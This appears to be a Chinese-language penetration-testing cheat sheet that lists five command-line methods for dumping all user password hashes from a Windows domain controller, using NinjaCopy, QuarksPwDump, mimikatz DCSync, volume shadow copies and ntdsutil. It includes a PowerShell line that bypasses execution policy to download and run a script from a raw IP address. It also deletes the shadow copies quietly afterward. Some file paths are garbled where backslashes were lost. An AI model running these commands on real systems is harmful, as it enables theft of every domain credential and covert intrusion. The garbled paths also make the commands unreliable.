获取Windows域控所有用户hash:
参考:3gstudent
NTDS.DIT文件经常被操作系统使用,因此无法直接复制到其他位置以提取信息。可以在Windows以下位置找到此文件
方法1(支持命令行):
复制ntds.dit:
使用NinjaCopy,https://github.com/3gstudent/NinjaCopy
导出hash:
使用quarkspwdump,https://github.com/quarkslab/quarkspwdump
修复ntds.dit
esentutl /p /o ntds.dit
导入域hash
QuarksPwDump.exe -dhb -hist -nt c: est
tds.dit -o c: estlog.txt
方法2(支持命令行):
使用powershell:Invoke-DCSync
powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadString('http://120.79.66.58/mypowershell/Invoke-DCSync.ps1');Invoke-DCSync -PWDumpFormat"
方法3(支持命令行):
mimikatz:
mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.local /all /csv exit"
方法4 (支持命令行):
vssadmin卷影副本导出ntds.dit
vssadmin list shadows
vssadmin create shadow /for=c:
copy \?GLOBALROOTDeviceHarddiskVolumeShadowCopy65windowsNTDS
tds.dit c:windows emp
tds.dit
vssadmin delete shadows /for=c: /quiet
esentutl /p /o c:windows emp
tds.dit
方法5(不支持命令行):
ntdsutil导出ntds.dit
ntdsutil
activate instance ntds
ifm
create full C:
tdsutil
quit
quit
导入域hash
QuarksPwDump.exe -dhb -hist -nt c: est
tds.dit -o c: estlog.txt